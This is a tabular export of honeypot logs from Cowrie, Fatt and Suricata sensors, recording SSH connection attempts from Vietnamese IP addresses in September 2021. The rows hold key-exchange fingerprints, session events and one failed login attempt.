22760	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:26.597145+03	2021-09-20 14:15:06.6275+03	{"_id": "EAbjAnwBvYTbRNuEqws_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:35318 (192.168.176.2:22) [session: 0ddc37f11e28]", "session": "0ddc37f11e28", "@version": "1", "protocol": "ssh", "src_port": 35318, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.597145Z", "@timestamp": "2021-09-20T11:07:26.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22761	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:26.29908+03	2021-09-20 14:15:06.628501+03	{"_id": "DwbjAnwBvYTbRNuEqws_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "890f08f17557", "@version": "1", "duration": 3.2334768772125244, "timestamp": "2021-09-20T11:07:26.299080Z", "@timestamp": "2021-09-20T11:07:26.299Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22762	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:26.135336+03	2021-09-20 14:15:06.630509+03	{"_id": "IAbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34856, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.135336", "@timestamp": "2021-09-20T11:07:26.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22763	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:26.553633+03	2021-09-20 14:15:06.63147+03	{"_id": "IQbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33996, "timestamp": "2021-09-20T11:07:26.553633", "@timestamp": "2021-09-20T11:07:26.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22764	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:26.602119+03	2021-09-20 14:15:06.6325+03	{"_id": "IgbjAnwBvYTbRNuEqwtB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 33434, "timestamp": "2021-09-20T11:07:26.602119", "@timestamp": "2021-09-20T11:07:26.602Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22765	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:26.582814+03	2021-09-20 14:15:06.6335+03	{"_id": "GAbjAnwBvYTbRNuEqws_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "833c701c0d6c", "@version": "1", "timestamp": "2021-09-20T11:07:26.582814Z", "@timestamp": "2021-09-20T11:07:26.582Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22766	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:26.875432+03	2021-09-20 14:15:06.6355+03	{"_id": "GQbjAnwBvYTbRNuEqws_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fa71a18430c6", "@version": "1", "timestamp": "2021-09-20T11:07:26.875432Z", "@timestamp": "2021-09-20T11:07:26.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22767	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:07:27.148325+03	2021-09-20 14:15:06.6365+03	{"_id": "LAbjAnwBvYTbRNuErQuy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2115301113002629, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7400, "dest_port": 22, "timestamp": "2021-09-20T11:07:27.148325Z", "@timestamp": "2021-09-20T11:07:27.148Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22768	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:27.880202+03	2021-09-20 14:15:06.6375+03	{"_id": "LgbjAnwBvYTbRNuErQuy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 655877668311594, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47092, "dest_port": 22, "timestamp": "2021-09-20T11:07:27.880202Z", "@timestamp": "2021-09-20T11:07:27.880Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22779	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:27.73467+03	2021-09-20 14:15:06.65247+03	{"_id": "YwbjAnwBvYTbRNuErwsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [tester/qwerty] failed", "session": "fa71a18430c6", "@version": "1", "password": "qwerty", "username": "tester", "timestamp": "2021-09-20T11:07:27.734670Z", "@timestamp": "2021-09-20T11:07:27.734Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
22769	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:27.933642+03	2021-09-20 14:15:06.6395+03	{"_id": "LwbjAnwBvYTbRNuErQuy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 186592361693098, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45542, "dest_port": 22, "timestamp": "2021-09-20T11:07:27.933642Z", "@timestamp": "2021-09-20T11:07:27.933Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22770	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:27.677129+03	2021-09-20 14:15:06.6405+03	{"_id": "UAbjAnwBvYTbRNuErwsv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:47826 (192.168.176.2:22) [session: 0260ebc84661]", "session": "0260ebc84661", "@version": "1", "protocol": "ssh", "src_port": 47826, "dest_port": 22, "timestamp": "2021-09-20T11:07:27.677129Z", "@timestamp": "2021-09-20T11:07:27.677Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
